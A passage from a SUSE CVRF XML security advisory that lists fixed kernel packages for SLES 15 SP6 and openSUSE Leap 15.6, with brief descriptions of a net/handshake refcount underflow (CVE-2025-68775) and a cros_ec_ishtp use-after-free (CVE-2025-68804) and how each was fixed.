        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68285.html</URL>
        <Description>CVE-2025-68285</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1255401</URL>
        <Description>SUSE Bug 1255401</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1255402</URL>
        <Description>SUSE Bug 1255402</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="21">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

net/handshake: duplicate handshake cancellations leak socket

When a handshake request is cancelled it is removed from the
handshake_net-&gt;hn_requests list, but it is still present in the
handshake_rhashtbl until it is destroyed.

If a second cancellation request arrives for the same handshake request,
then remove_pending() will return false... and assuming
HANDSHAKE_F_REQ_COMPLETED isn't set in req-&gt;hr_flags, we'll continue
processing through the out_true label, where we put another reference on
the sock and a refcount underflow occurs.

This can happen for example if a handshake times out - particularly if
the SUNRPC client sends the AUTH_TLS probe to the server but doesn't
follow it up with the ClientHello due to a problem with tlshd.  When the
timeout is hit on the server, the server will send a FIN, which triggers
a cancellation request via xs_reset_transport().  When the timeout is
hit on the client, another cancellation request happens via
xs_tls_handshake_sync().

Add a test_and_set_bit(HANDSHAKE_F_REQ_COMPLETED) in the pending cancel
path so duplicate cancels can be detected.</Note>
    </Notes>
    <CVE>CVE-2025-68775</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68775.html</URL>
        <Description>CVE-2025-68775</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256665</URL>
        <Description>SUSE Bug 1256665</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256666</URL>
        <Description>SUSE Bug 1256666</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="22">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

platform/chrome: cros_ec_ishtp: Fix UAF after unbinding driver

After unbinding the driver, another kthread `cros_ec_console_log_work`
is still accessing the device, resulting an UAF and crash.

The driver doesn't unregister the EC device in .remove() which should
shutdown sub-devices synchronously.  Fix it.</Note>
    </Notes>
    <CVE>CVE-2025-68804</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
